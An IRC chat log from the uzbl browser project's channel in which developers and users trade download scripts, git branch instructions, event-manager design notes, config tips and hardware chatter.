11:02 < lokli> lich: i really want to help developing the uzbl, cause i like it )
11:03 < lokli> lich: yeah, the path is correct
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11:04 < lich> well don't talk to me, all I did so far is write a nice download script(and I'm teh the only one, maybe the only one using it though) and that css thingie that seems to be used more and more
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11:05 < lokli> lich: i use your script too, so there are two of us already :D
11:05 < lich> ok added --content-disposition to the DOWNLOADER flags and it gets correct names now
11:05 < lich> all left to do is add cokies and I'ma post teh updated one
11:06 < lich> someone really needs to guide me trough adding it to teh uzbl.org wiki
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11:11 < lich> my cookies are in XDG_DATA_HOME. is this default?
11:12 < lokli> dunno, i have both envs set to the same dir
11:13 < thunktone> lich: that's where mine are too
11:13 < thunktone> think i'm using the default script for cookies
11:13 < lich> then it's default
11:13 < lich> ok script updated, can someone help me through pasting it to the wiki scripts?
11:16 < lich> any avid wget users, is wget able of doing a "quiet" output but still show the progress bar?
11:33 < lich> http://pastie.org/646597
11:33 < lich> download script with cookies and file name getting :)
11:38 < lich> http://pastie.org/646605
11:38 < lich> bit of update, typos and removed a useless `basename` call
11:40 < rob|> ok, getting to the download headers is not yet possible in webkitgtk, i'm opening a bug report for this
11:43 < rob|> https://bugs.webkit.org/show_bug.cgi?id=30202
11:43 < lich> rob|: couldn;t we look at the way wget handles them?
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11:43 < lich> seems to work with wget --content-disposition
11:44 < lich> so it;s definatly possible, webkit or not
11:44 < rob|> sure, but it would still be better to be able to get to the SoupMessage
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11:51 < kevix> here is an idea. if you download a file called xyz. you can use 'file' to determine what kind of object it is (pdf,jpg, etc.)  then you can determine what do: like open a file viewer or what ever.
11:52 < rob|> kevix, that's not the point also it surely is a nice idea
11:54 < lich> easy to implement in teh download script itself
11:54 < lich> but I doubt many people actually open files upon downloading
11:54 < kevix> I dont know anything about webkit or soup, so I was just thinking about how to handle  a file once it is downloaded by wget
11:55 < lich> well I can make my script handle them, with rules defined and whatnot
11:55 < lich> all in teh script
11:55 < lich> and add an option there for open upod download or not
11:56 < kevix> I clicked on a pdf link and it was downloaded and I was expectig it to launch a pdf viewer. this is how I though of the idea.
11:57 < xyz`> kevix: http://pastebin.ca/1603788 you can set stuff based on mime type with that
11:58 < xyz`> originally used file, but this conversation on content-disposition made me rewrite it to use http headers
11:59 < lich> download script wars!
11:59 < lich> that reminds me, I should have mine in python too
12:01 < kevix> well IIRC sometimes folks set the content type to something useless like octet stream.
12:03 < kevix> lich: not exactly wars, it all gets into the mix and makes the software the 'winner'
12:04 < lich> I was kidding
12:04 < lich> I wrote my download script for my own use and shared it. works ok for me, I don't mind people using others
12:07 < kevix> np
12:10 < kevix> the wget option '-S' returns the web server headers, which include 'Content-Type'
12:12 < MichaelRaskin> Are there any people who prefer Lisp to Python here?
12:13 < lich> not over Python, but LISP is not bad
12:13 < MichaelRaskin> I just have a preliminary Lisp event manager on hands
12:14 < lokli> lisp? why not use things, than are present in all distros, like sh,python and perl?
12:15 < kevix> well that is the beauty of uzbl, you can write a scrpt in any language
12:15 < MichaelRaskin> Because first two are slow and Perl is designed to produce unreadable code?
12:16 < lokli> well, didn't think of it in that way =)
12:16 < kevix> well I'm sure if you want something faster, you can devise something in C
12:16 < lokli> yeah, i support your idea of C
12:16 < MichaelRaskin> I dislike C and hate C++
12:17 < lich> actually sh is the only one present in ALL distros, pything might miss from some
12:17 < MichaelRaskin> SBCL is a Lisp compiler anyway, and so performance hit is not big
12:17 < lich> perl, I'm not even getting there
12:17 < lich> I may be the first to write a C "script" for uzbl :D
12:17 < MichaelRaskin> lich, now I can get technical.. And say that there are different sh
12:17 < kevix> most of the tasks, so far, for the scripts as not needing ultra-fast action.and only are done 1 ro 2 times in a session.
12:18 < MichaelRaskin> EM is called on every event
12:18 < lokli> MichaelRaskin: sh are different, but they use the same syntax
12:18 < lokli> that's the main idea
12:18 < MichaelRaskin> lokli, except they break it all the time
12:19 < MichaelRaskin> There are a lot of _very_ convenient bash-specific features, so guess what? people end up using them
12:19 < kevix> bashisms
12:19 < lich> MichaelRaskin: you can say that yes :)
12:19 < MichaelRaskin> And then comes Debian and replaces /bin/sh bash with dash
12:19 < lokli> i dislike bash alot =\
12:20 < MichaelRaskin> Which is said to be "just for scripts" and misses lots of features needed only in scripts
12:20 < lokli> but to compare bash and sh, sh is much faster
12:20 < kevix> well Debian guidelines consider bashisms a bug
12:21 < MichaelRaskin> I am not sure that dash will run every possible POSIX sh script
12:28 < kevix> well if you find something non-compliant , tell the debian folks.
12:32 < mason-l> MichaelRaskin, I'm interested in seeing your LISP EM.
12:32 < MichaelRaskin> OK
12:32 < MichaelRaskin> I will add event bindings..
12:32 < mason-l> Ok :)
12:33 < mason-l> I'd love to see many actively supported event managers in various different languages join the project.
12:34 < mason-l> Haskell is on the wishlist too :)
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12:38 < kevix> what is 'event mananger'?
12:38 < mason-l> keis, See: experimental branch.
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12:54 < kevix> what git command gets the experimental branch?
12:54 < ruskie> git checkout -t exeprimental origin/experimental
12:54 < ruskie> then git checkout experimental|master to switch
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12:59 < MichaelRaskin> Why in the world uzbl-core display site in a different way??
13:01 < kevix> rm -rf uzbl
13:01 < kevix> git clone git://github.com/Dieterbe/uzbl.git
13:01 < kevix> git checkout -t experimental origin/experimental
13:01 < kevix> this did not get the experimental branch
13:02 < ruskie> ups
13:03 < mason-l> git clone git://github.com/Dieterbe/uzbl.git
13:03 < mason-l> cd uzbl/
13:03 < ruskie> that's the right one yeah
13:03 < mason-l> git checkout -b experimental origin/experimental
13:03 < ruskie> messed up that bit :)
13:04 < MichaelRaskin> Oh.
13:04 < MichaelRaskin> I am dumb
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13:05 < kevix> Resolving deltas: 100% (4216/4216), done.
13:05 < kevix> + git checkout -b experimental origin/experimental
13:05 < kevix> fatal: Not a git repository
13:05 < mason-l> kevix, Did you: cd uzbl/
13:06 < kevix> no
13:06 < ruskie> :)
13:06 < kevix> retrying
13:06 < ruskie> and yes you didn't need to rm it reclone it :)
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13:19 < rob|> http://www.gnu.org/software/gdb/news/reversible.html
13:19 < rob|> :O
13:20 < lich> lmao
13:20 < lich> we can finally make firefox work as it used too yay
13:20 < rob|> hehe
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15:34 < MichaelRaskin> Hm
15:35 < MichaelRaskin> exploiting uzbl events for EM's needs was a bad idea
15:36 < mason-l> MichaelRaskin, Go on?
15:36 < Dieterbe_> yes. how so
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15:38 < MichaelRaskin> I mean that I tried to use delayed execution inside EM by raising uzbl events
15:38 < MichaelRaskin> And to store some variables inside uzbl.
15:38 < mason-l> MichaelRaskin, ... What were you trying to do?
15:38 < MichaelRaskin> Of course, event flood overflowed the buffer
15:38 < MichaelRaskin> Doesn't matter anymore
15:38 < MichaelRaskin> Now the volatile variables are stored inside my Lisp EM
15:39 < MichaelRaskin> I thought making them uzbl variables would be ideologically nice (restart EM, who'd care)
15:39 < MichaelRaskin> I was wrong
15:39 < mason-l> Oh I understand what you meant now by "exploiting uzbl events for EM's needs was a bad idea".
15:40 < MichaelRaskin> Yes, they are nice for uzbl's needs and their relaying to EM
15:40 < MichaelRaskin> But not for EM's needs in any way
15:40 < MichaelRaskin> Not with current buffering design, at least
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15:42 < reaVer> hi
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15:42 < mason-l> reaVer, Hi
15:42 < reaVer> how does one select a form field in uzbl?
15:42 < mason-l> reaVer, The same way you would in javascript using the js command.
15:43 < reaVer> how does that work?XD
15:43 < mason-l> If you are using the master branch follow this example: bind A = js alert("Some message!");
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15:44 < mason-l> Or load a script: bind A = script path/to/script.js
15:44 < reaVer> ?
15:44 < reaVer> no, I meant, if I load a certain page, that page contains a list of urls
15:44 < reaVer> how do I select an url?
15:44 < scj> click on it?
15:44 < mason-l> reaVer, Do you mean click on it?
15:45 < mason-l> reaVer, And as far as forms go you need to be in 'insert' mode to enter any information into form fields.
15:45 < reaVer> mason-l: yes, except now with a keyboard XD
15:46 < mason-l> reaVer, You should check out the follow_Numbers.js script
15:46 < mason-l> (Used with: fl<number>)
15:56 < reaVer> mason-l: thank you very much:p
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16:01 < rob|> MichaelRaskin, so the socket buffer did overflow or what?
16:01 < MichaelRaskin> Not really overflow at the top level
16:02 < rob|> but?
16:02 < MichaelRaskin> GIOsocket became busy, so events got postponed
16:02 < MichaelRaskin> for a few seconds
16:02 < rob|> ah, i see
16:03 < rob|> unfortunatelly there is no easy way to integrate own select/poll style code into gtk's main loop. that would solve a couple of issues
16:03 < rob|> the only approach is in creating an own GIOSource
16:03 < rob|> GSource, that is
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16:11 < mason-l> I enjoyed this: http://jacobian.org/writing/star-is-unix/
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16:19 < rob|> hrrrm, "... dark art of Unix system calls ..." wtf?
16:20 < Dieterbe_> wtf is all that
16:20 < Dieterbe_> hi btw
16:21 < rob|> no idea, some people seem to have re-discovered 30 years old techniques..
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16:22 < Fatal> wtf
16:23 < rob|> or rather techniques being used since 30 years
16:24 < scj> ruby people evangelising old tech as the second coming
16:24 < scj> nothing new
16:28 < bct> it's sad how many developers these days have no idea.
16:28 < bct> (don't blame ruby for that though)
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16:51 < rob|> well, all these languages that wrap wrappers around wrappers make it pretty hard to recognize the pure beauty of unix.
16:51 < rob|> i mean nowadays everything needs to be an object
16:52 < rob|> making even the most trivial thing endlessly complex and hard to interfuse
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17:08 < Dieterbe_> interfuse. what a nice word
17:09 < Dieterbe_> btw my 'wtf' was more in response to their inability to even shortly describe what their stuff is about
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22:56 < ulughbegh> hi
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23:06 < rob|> MichaelRaskin, nice work with the lisp EM
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00:41 < juantelez> hi!
00:41 < juantelez> where can I get uzblctrl?
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00:47 < scj> juantelez: you can't. where is it mentioned?
00:48 < juantelez> scj: hi
00:48 < juantelez> scj: it seems that I need it to use a script call batch_download.
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00:51 < scj> juantelez: I see. uzblctrl has been deprecated, and I guess the script hasn't been updated since
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00:51 < juantelez> :'(
00:52 < juantelez> scj: thanks, I guess I must search another way to download anything
00:52 < scj> juantelez: get socat and add the line: uzblctrl() { echo $4 | socat - unix-connect:$2 ; }
00:53 < scj> to the script. that may work
00:53 < juantelez> scj: thnaks!
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01:13 < juantelez> scj: sorry, but it didn't work
01:13 < juantelez> scj: how do you do to download things?
01:14 < scj> juantelez: did you add the line to the beginning of the script, before uzblctrl is mentioned?
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01:16 < juantelez> scj: yeap
01:17 < scj> juantelez: what does it say if you run uzbl --verbose in a terminal?
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01:27 < juantelez> scj: http://pastebin.com/d5526b5f
01:29 < scj> juantelez: the output when you try to run the batch downloader script
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01:32 < juantelez> scj: give a sec
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01:39 < juantelez> scj http://pastebin.com/d55911d23
01:39 < juantelez> and that last line never ends
01:40 < juantelez> scj: but now it seems that if a wait just a bit longer in works!
01:44 < scj> juantelez: ohwell, guess my drop in replacement function doesn't work. you could update the script or contact the author and ask him/her to do it
01:46 < juantelez> scj: thanks a lot!
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03:08 < reaVer> does anyone know what default plugin starts up openoffice?
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05:35 < comhack> I am running Uzbl-git and I am trying to load a bookmark. I am command mode and hit u and type the beginning of the bookmark and it selects it and I hit enter and nothing happens. How can I open the url?
05:35 < comhack> I am running it under Archlinux xmonad if it matters
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06:03 < mason-l> Did you get your wave invite rob|?
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08:35 < rob|> mason-l: yes, finally it arrived. thanks again!
08:36 < rob|> morning btw
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09:20 < MichaelRaskin> Oh
09:20 < MichaelRaskin> I found a leak in Lisp EM
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10:17 < MichaelRaskin> Yay
10:17 < MichaelRaskin> opening links in new windows!
10:18 < rob|> :)
10:18 < rob|> you should really write a short description + syntax guide and put it on the wiki
10:19 < rob|> is it supposed to read from sockets or stdout?
10:20 < MichaelRaskin> I just repolished follow_numbers
10:22 < MichaelRaskin> And yes, my EM made it a bit easier to make binding
10:22 < MichaelRaskin> It reads own stdin
10:23 < MichaelRaskin> Is there a uzbl command to send a key event to the page
10:23 < MichaelRaskin> ?
10:28 < mason-l> MichaelRaskin, You might be talking about the forward_keys variable.
10:28 < MichaelRaskin> Yes, but it forwards what was actually pressed
10:28 < MichaelRaskin> I wouldn't post EM if insert_mode would be impossible
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10:29 < MichaelRaskin> (And I understood it)
10:29 < MichaelRaskin> I want to emulate key presses sometimes, or decide to forward keys post factum
10:30 < mason-l> In that case there currently is no way to emulate a key press on the webview.
10:31 < scj> maybe with some js tomfoolery
10:32 < kevix> I compiled uzbl experimental and I did not want to install it. the other version I ran with ./uzbl. But with experimental, running ./uzbl-browser complains that uzbl-core is not found. Any hint to fix this issue?
10:32 < mason-l> kevix, If you would like to run uzbl in the experimental branch without installing use the make target to do so
10:33 < mason-l> kevix, make test-dev-browser
10:33 < kevix> mason-l: ok. thanks.
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10:40 < rob|> btw, what do you think about sending some HTTP headers along with DOWNLOAD_REQUEST events?
10:41 < rob|> like Content-Type, Content-Length, etc.
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10:46 < scj> rob|: why? the downloader will encounter them eventually
10:47 < kevix> came accross an issue with experimental/ubuntu jaunty. uzbl-browser says to run /bin/sh, $RANDOM is called, this fails as the current shell does not have this function. I changed the script to use /bin/bash, this fixed the error.
10:47 < rob|> scj, guess you're right
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10:48 < scj> rob|: although, cookies and credentials might be necessary if you aren't using a cookie handler
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11:11 < kevix> another ubuntu issue. in the python scripts, I had to use change the /usr/bin/env to /usr/bin/python
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11:21 < mason-l> kevix, You'd be interested to know most of the python scripts originally used /usr/bin/python & uzbl-browser did use /bin/bash.
11:24 < kevix> I am not sure if it is some misconfiguration on my system, but if other ubuntu users have the same error, you'll  know why
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14:22 < reaVer> is there a way to get asp support in uzbl?
14:23 < reaVer> kevix: have you set your PYTHON variable to the proper binary in your enviroment?
14:24 < reaVer> kevix: if not, neither do I XD
14:25 < reaVer> but env python is working here
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15:35 < Zombywuf> btw, do any branches handle url's with fragment identifiers?
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16:16 < Zombywuf> Anyone know if it's possible to manipulate the uri in the navigation callback, and if this is the right place to do it?
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16:24 < Zombywuf> Anyone alive in here?
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18:01 < MichaelRaskin> How do I escape newline in config?
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19:04 < rob|> MichaelRaskin: you don't, every command is by definition one single line
19:04 < MichaelRaskin> What a pity
19:06 < MichaelRaskin> Some Lisp commands in config are between the size of line and the size where separate file is worth it
19:06 < rob|> well, I could extend the parser if there is a cogent reason for this
19:06 < rob|> right, i see
19:07 < MichaelRaskin> OK, there are other ways to split lines
19:07 < MichaelRaskin> Including (load)
19:07 < MichaelRaskin> Just didn't want to miss a trivial solution
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19:08 < rob|> yeah, if lisp has a load command to dynamically load code from other files it would certainly be the preferred solution
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19:10 < MichaelRaskin> Well, if I split commands inside config, they are ~140 chars max, so I will live with it just to show that it's trivial.
19:10 < MichaelRaskin> Hm, 190-char line may prompt a rewrite..
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19:35 < rob|> well, you can use the @(command)@ expansion to load content from external files and format it nicely on a line, though
19:38 < MichaelRaskin> It is no better than (load)
19:39 < MichaelRaskin> I found that I don't need 5 lines of 120 symbols, I actually needed one 165-character line
19:40 < mason-l> rob|, Wouldn't a simple shell-like '\' marker at the end of the line indicating a multi-line command be easy/feasible?
19:40 < MichaelRaskin> I officially hate the fact that scanf should honour LC_NUMERIC and not even try LC_NUMERIC=C separator if it doesn't conflict with anything
19:40  * ruskie is still contemplating if he should update yet or not
19:42 < rob|> mason-l: sure
19:42 < MichaelRaskin> So I need LANG=ru for small caps in fonts that lack them, but LC_NUMERIC=C for scroll-counter to work
19:43 < ruskie> wouldn't ru_RU.UTF-8 be better or whatever the UTF8 locale is?
19:43 < zash_> en_DK is the best LC_TIME btw!
19:43 < rob|> mason-l: the parser would need a bit of a rewrite though (in order to buffer up everything until a real NL/EOL is read)
19:43 < ruskie> zash_, why?
19:43 < MichaelRaskin> ruskie, I meant ru_RU.UTF-8
19:43 < MichaelRaskin> It is just an implementation detail
19:43 < MichaelRaskin> Maybe ru is even synonimous already
19:44 < zash_> ruskie: LC_TIME="en_DK.UTF-8" date +%x %X
19:44 < ruskie> zash_, so paste an example
19:44 < zash_> %x\ %X
19:44 < zash_> 2009-10-09 19:44:01
19:45 < ruskie> nice
19:45 < ruskie> didn't know someone was using the iso format that way
19:45 < ruskie> thanks for the info
19:45 < mason-l> rob|, Although I managed to get over the huge line problems in the experimental's example config (looking at you status_format) by splitting the command up but I can see how this would be a problem for more complex commands.
19:45 < zash_> which is How It Should Be(tm)
19:45 < ruskie> yup
19:45 < zash_> and, it has mondays first in weeks
19:46 < ruskie> LC_TIME="en_DK.UTF-8" date +%x\ %X
19:46 < ruskie> 10/09/09 19:45:50
19:46 < ruskie> hmm
19:46 < ruskie> wtf
19:46 < zash_> so i can finaly have english locale with proper date-stuff
19:46 < zash_> ruskie: do you have en_DK installed?
19:46 < ruskie> hmm
19:46 < ruskie> I wonder
19:46 < ruskie> might need to generate it
19:47 < rob|> mason-l: command @(sh -c "cat my_external_file | tr '\\n' ' '")@ foo bar baz
19:47 < rob|> mason-l: so there is actually not a real need for it inside core
19:49 < mason-l> Yes and no.
19:49 < ruskie> zash_, yeah had to generate it ;)
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20:43 < MichaelRaskin> By the way, shouldn't default forward_keys be 1?
20:44 < MichaelRaskin> Then uzbl-core will have a clear mission statement: open URL and let user interact with it; report events and receive additional commands via stdout/sockets/fifos
20:45 < rob|> well, vi doesn't start in insert mode by default either
20:46 < MichaelRaskin> By vi starts in the most useful mode
20:46 < MichaelRaskin> And configuration can override it
20:47 < MichaelRaskin> Unless you have configuration and/or EM, command mode is 1) strictly less useful and 2) impossible to get out of
20:47 < rob|> hmm, you have a point!
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20:49 < MichaelRaskin> And yes, follow_Numbers.js should so much be replaced with follow_Numbers_Configurable.js I posted to wiki..
20:49 < MichaelRaskin> It has some subtle bugs/misfeatures
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21:14 < MichaelRaskin> Wow, in what fairy tale the original follow_Numbers author was living
21:15 < rob|> hmm
21:15 < rob|> if you want to improve it be sure to leave a message on the ML when done
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21:15 < MichaelRaskin> I already slightly upgraded it..
21:16 < scj> use linkfollow.js instead
21:16 < MichaelRaskin> Now I understood that I am in for a big update of it
21:16 < MichaelRaskin> scj, the problem is that rewriting broken parts of follow_Numbers will be easier
21:17 < MichaelRaskin> I tried linkfollow.js.. Everything is nice, but it has a model I don't believe in..
21:17 < scj> ok?
21:17 < MichaelRaskin> So I am rewriting follow_Numbers until it handles all the most trivial cases found on Web in the wild
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21:18 < scj> what about its model don't you believe in?
21:18 < MichaelRaskin> I understand numbered links
21:19 < MichaelRaskin> the idea that I cannot easily narrow selection by entering parts of link number seems weird
21:19 < MichaelRaskin> The idea that we match caption against everything except numbers in the input seems just a timebomb
21:20 < MichaelRaskin> OK, the element search is much nicer, I agree
21:20 < MichaelRaskin> I guess I will steal it
21:21 < scj> yeah, I guess it has it's downsides. it's mostly that I've grown used to vimperators way of matching
21:21 < MichaelRaskin> I love Vim. I like Uzbl. I cannot use vimperator. Go figure
21:29 < MichaelRaskin> scj, thanks for your hint
21:29 < MichaelRaskin> Stealing element finder from linkfollow was a great idea
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03:16 < aep> i find dmenu doesnt handle uris well
03:16 < aep> maybe there is something more smart and more readlinish?
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15:50 < tlonim> Has anyone used uzbl with tiddlywiki  ?
15:53 < tlonim> I am having trouble saving it.
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02:25 < Saizan_> is there a way to add mouse bindings? i'd like to open links in a new window when i middle-click
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05:37 < senorisa> Hi. Some questions. How can i make to uzbl actually show me all the images on a page? Sometimes uzbl just tell me it ''cant resolve hostname''. Why is that? Im using master
05:44 < senorisa> das
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07:42 < MichaelRaskin> Saizan_, read wiki
07:42 < MichaelRaskin> There is a ready instruction
07:44 < Saizan_> ah, thanks
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08:14 < comhack> Is there any reason why uzbl-git is slow sometimes? I use the default examples from /usr/share/uzbl/examples  under Archlinux?
08:16 < MichaelRaskin> comhack, master or experimental?
08:16 < comhack> master
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08:17 < comhack> should I use experiemental?
08:17 < MichaelRaskin> Not really, I guess the problem is cookie manager either way
08:17 < comhack> ok thanks
08:17 < MichaelRaskin> With experimental there is also event manager
08:17 < MichaelRaskin> both are written in Python
08:17 < MichaelRaskin> (by default)
08:17 < comhack> Should I disable it or use another cookie script?
08:18 < MichaelRaskin> Slow occurs on page load?
08:18 < comhack> yeah only sometimes
08:18 < MichaelRaskin> You can just kill off cookie manager and just use per-instance cookies
08:18 < comhack> sometimes fast   same url
08:18 < comhack> thanks
08:19 < MichaelRaskin> Kill cookie_handler line in config
08:19 < comhack> ok
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08:20 < MichaelRaskin> Of course you sometimes get jackpot when process switch occurs exactly when needed and all the needed things are cached and python already compiled and loaded needed bytecode.
08:20 < comhack> ok and the per-instance is a another script
08:20 < MichaelRaskin> No
08:20 < MichaelRaskin> Per-instance is what WebKit does on its own
08:20 < comhack> ok I commented out set_cookie_handler
08:20 < comhack> so that might help?   thanks alot
08:21 < comhack> I have only been usin uzbl for about a week and I love it     Works great with xmonad
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08:42 < Rodya> I just updated (finally) uzbl from experimental, and it doesn't appear to accept any form of keyboard input (i replaced my old config with the new sample since things have changed a bit since i last updated), is this just because of the new changes to experimental or is my issue?
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09:11 < rob|> morning.
09:12 < rob|> Rodya: you need to launch 'uzbl-browses'
09:12 < rob|> uzbl-browser
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09:12 < Rodya> rob|, that's what i was launching
09:12 < Rodya> also, morning
09:12 < rob|> and you did 'make install'?
09:12 < Rodya> using arch, so i did makepkg, then used pacman to install it
09:13 < Rodya> http://aur.archlinux.org/packages.php?ID=26097 using this PKGBUILD
09:13 < rob|> well, basically experimental uzbl consists of 2 parts. uzbl-core which display the websites and the event manager that is responsible for keybindings and other things
09:14 < rob|> so if you don't have the event manager running you won't be able to fully interact with uzbl
09:15 < Rodya> is the event manager a different executable, script, or?
09:15 < rob|> yes, a python script
09:16 < Rodya> ah, i see it now
09:16 < Rodya> it doesn't appear in the sample config file i have
09:17 < rob|> it's launched by uzbl-browser
09:17 < rob|> from uzbl's source dir you can try this: ./uzbl-core -c examples/config/uzbl/config -n xyz&; examples/data/uzbl/scripts/event_manager.py -vs /tmp/uzbl_socket_xyz
09:19 < rob|> also have a look at the wiki for an alternative event manager written in lisp
09:24 < rob|> Rodya: also http://pastebin.com/m56bc9331  <-- a short (incomplete) draft of the changes in experimental
09:24 < Rodya> i can see the output in the event manager showing the keys being pressed and released, but they don't seem to have an effect (pressing r doesn't reload, for example) but the mouse works
09:25 < rob|> hmm, it really should work and in fact does for me
09:27 < Rodya> the brackets that surround what mode uzbl is in also don't show anything inside
09:27 < Rodya> the rest of the status bar appears to work, except for that and inputting text for commands
09:28 < Rodya> should there be something in the Handlers section of the config referring to the event handler thing?
09:29 < rob|> no, as i said the EM is launched by uzbl-browser
09:30 < Rodya> ah,  i see the python process for it now when i ran uzbl-browser
09:30 < rob|> the config just sets preferenes for both uzbl and the EM
09:31 < Rodya> odd, the cookie_daemon.py didn't exit when i closed uzbl-browser
09:32 < rob|> that's by purpose
09:39 < Rodya> hrm, i'm not really sure what more to look at... as far as i can tell all the files are in the right place (copied over all updated/new scripts to $XDG_DATA_HOME/uzbl/scripts/, replaced old config with new), as far as i can tell my environment variables expand to the right places =/
09:40 < rob|> ok, so just try to ölailauch it manually like i posted above
09:40 < rob|> *launch
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09:46 < Rodya> time for a smoke, bbs
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19:25 < chiiph> hi people...
19:26 < chiiph> I'm going to implement a delicious plugin for uzbl... but I wanted to check if you someone else is doing it...
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19:30 < Saizan> i've tried the instructions here but they seem to have no effect http://www.uzbl.org/wiki/middle_click_links , i'm using uzbl-git from AUR, do i need a more recent version maybe?
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19:33 < Saizan> and, clearly, it started to work now
19:33 < Saizan> thanks anyway :)
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19:46 < Saizan> still not properly for some links, but i guess that's cause by bad interaction with other js on the sites
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21:02 < Zombywuf> chiiph: I use delicious with uzbl
21:02 < Zombywuf> I realised you only need 2 lines in your config for it
21:03 < chiiph> Zombywuf: nice... could you dpaste them?
21:03 < Zombywuf> bind    B         = sh 'echo uri '\''http://delicious.com/save?url='\''$6'\''&title='\''$7'\''&v=5&jump=yes'\'' > "$4"'
21:03 < Zombywuf> bookmarks the current page
21:04 < Zombywuf> bind    gb _      = uri http://delicious.com/search?p=%s&chk=&context=userposts%7C<<YOUR USERNAME HERE>>&fr=del_icio_us&lc=1
21:04 < Zombywuf> Searches bookmarks
21:04 < chiiph> Zombywuf: thanks!
21:04 < Saizan> why sh to bookmark?
21:04 < Zombywuf> The bookmark search is a little slow though, so some sort of local dmenu based cache would be good
21:05 < Saizan> to open another window?
21:05 < Zombywuf> It just takes you to the bookmark page with some value pre-filled
21:05 < Zombywuf> Is the page title available as a variable inside the config?
21:06 < Zombywuf> I didn't spend a lot of time on this
21:06 < scj> @title, I think
21:06 < Zombywuf> Can probably do it better without invoking a shell then
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21:08 < chiiph> like this: bind    B         = uri '\''http://delicious.com/save?url='\''$6'\''&title='\''@title'\''&v=5&jump=yes'\'' > "$4" ?
21:08 < chiiph> and s/$6/@url/ ?
21:09 < Zombywuf> Remove the crazy quote escaping and > $4 stuff as well
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21:10 < Zombywuf> bind    B         = uri http://delicious.com/save?url=@url&title=@title&v=5&jump=yes
21:10 < Zombywuf> Might do it
21:10 < scj> you probably need to uri escape the url and title anyway
21:11 < Zombywuf> uzbl seems to handle that quite well
21:12 < Zombywuf> Anyone know how much of a gap there is between the experimental branch and stable?
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21:13 < chiiph> what would be Mod1 key?
21:14 < scj> Zombywuf: fairly big
21:14 < scj> depends on what you mean by gap, I guess
21:16 < Zombywuf> Well I've found bugs in stable, and I'm wondering how likely they are to be fixed in experimental
21:18 < chiiph> Zombywuf: it doesn't seem to work that line for me :(
21:18 < scj> Zombywuf: http://pastebin.com/m56bc9331
21:19 < Zombywuf> hmm, dunno if that covers a segfault in the config parser
21:19 < Zombywuf> chiiph: The one with sh or the one without?
21:19 < chiiph> Zombywuf: the one without
21:21 < Zombywuf> Dunno then, that was pretty much just a guess
21:22 < chiiph> ok... I'll try to see what's up...
21:23 < Zombywuf> Let me know if you get it to work
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21:26 < prohna> hi all
21:26 < chiiph> Zombywuf: I still thing that a simple python script would do it much better hehe... but we'll see...
21:27 < prohna> any idea why uzbl seemed alot faster until i got cookies.py working?
21:27 < MichaelRaskin> prohna, it was faster
21:27 < MichaelRaskin> Because not having to do IPC on each page load is a good thing
21:27 < prohna> is there a faster alternative?
21:29 < MichaelRaskin> Erm, not using shared cookies, I am afraid. It may be that a faster handler can be written, but IPC will stay
21:29 < MichaelRaskin> By the way, do you use BFS kernel?
21:29 < prohna> ?
21:30 < MichaelRaskin> Con Kolivas' brainfuck scheduler. It is for desktop low-latency systems.. In some situations it improves responsiveness.
21:30 < prohna> i dont believe i do
21:31 < MichaelRaskin> May improve the experience. Not only with Uzbl, though
21:31 < prohna> hm
21:31 < prohna> i do enjoy responsiveness
21:32 < Zombywuf> Might improve it if you are running on exactly the same machine Con is using
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21:42 < prohna> ahh i broke uzbl config
21:42 < prohna> :)
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21:47 < MichaelRaskin> Zombywuf, that's not _that_ niche
21:49 < Zombywuf> possibly
21:49 < Zombywuf> Any git experts about?
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22:17 < Dieterbe_> good evening ladies
22:18 < Dieterbe_> just back from nokia's maemo summit and i have a n900 <3
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22:21 < Dieterbe_> ruskie: ^^
22:21 < ruskie> :)
22:21 < ruskie> lucky
22:21 < Zombywuf> Did they just give it too you?
22:21 < ruskie> one of those free for 6 months right?
22:21 < Dieterbe_> yeah. we can play with it for free during 6 months. then we have to give it back
22:21 < ruskie> or buy it I take it?
22:22 < Dieterbe_> i guess. they didn't mention it but i'm sure there will be options when the time comes
22:22  * jelly12gen is jealous
22:22 < Dieterbe_> otherwise i'ld just back it all up and buy a new one straight away and restore my stuff on it
22:22 < jelly12gen> n900 is nice :)
22:24 < ruskie> Dieterbe_, got a blog you plan to pour your heart out to about how it runs and so on?
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22:24 < Dieterbe_> ruskie: yeah. i'll do a blogpost with my initial findings in a few days
22:24 < ruskie> Dieterbe_, btw did they announce any definite time yet for an official release?(last I heard 22nd of October)
22:25 < jelly12gen> cool
22:25 < Dieterbe_> no, they didn't mention anything about that
22:25 < ruskie> I do hope it is
22:25  * ruskie has the cash ready
22:26 < Dieterbe_> they do consider the devices we got still 'pre-production' and with sub-optimal software
22:26 < jelly12gen> ruskie: how much is it
22:26 < jelly12gen> ?
22:26 < ruskie> though frankly I never spent so much money on ANYTHING
22:26 < ruskie> jelly12gen, 500eur pre VAT in the EU
22:26 < jelly12gen> yeah i am in the EU
22:26 < ruskie> add the particular VAT level for your country and you have it
22:26 < jelly12gen> so probaly 600 here
22:27 < jelly12gen> 19%
22:27 < ruskie> in my case 20% = 599
22:27 < Dieterbe_> well worth it's money i think. if it was 700eur+ i'ld still buy it
22:27 < jelly12gen> wow
22:27 < Dieterbe_> this is like a mobile computer that fits in your pocket. beats any netbook
22:27 < ruskie> Dieterbe_, consider that most of my hardware I have never went so much
22:27 < jelly12gen> my phone is a htc touch with winmobile and was 200 euro
22:27 < ruskie> 300 was the most for the eeepc701
22:27 < jelly12gen> a stupid mistake :(
22:27 < ruskie> the hanlin v3 eink reader was 270
22:27 < ruskie> the n95 200
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22:28 < jelly12gen> Dieterbe_: the software seems to run very smooth
22:28 < ruskie> no single box I have came over 300 eur
22:28 < Dieterbe_> i had some minor issues. especially with microB (the mozilla based browser)
22:28 < ruskie> the price is really the only offputting issue for me
22:28 < ruskie> but I still like it
22:29 < ruskie> I would love it if it would get rid of all the closed crap though
22:29 < ruskie> hopefully Mer will fill in the gaps
22:29 < jelly12gen> heheh
22:29 < jelly12gen> ruskie: where do you live ?
22:29 < jelly12gen> in the netherlands much ppl buy phones with a certain mobile provider
22:30 < jelly12gen> so you dont purcashe the phone but an  service for 2 years or so
22:33 < ruskie> jelly12gen, slovenia
22:33 < ruskie> and the 200eur price tag for the n95 is with a 2 year contract
22:33 < ruskie> but not at eye gauging price
22:33 < ruskie> just regular 5eur/month
22:34 < ruskie> Dieterbe_, btw when will you have uzbl running on it? and will it be finger friendly ;)
22:34 < ruskie> and I've been with the same provider for 11 years now
22:34 < jelly12gen> ruskie: wow tha is nice
22:35 < jelly12gen> ruskie: we have like 2 year contract with 20 euro prices
22:35 < Dieterbe_> ruskie: i don't know..
22:35 < jelly12gen> hehe
22:35 < ruskie> jelly12gen, thing is for more expensive phones it means you cover more of the initial cost
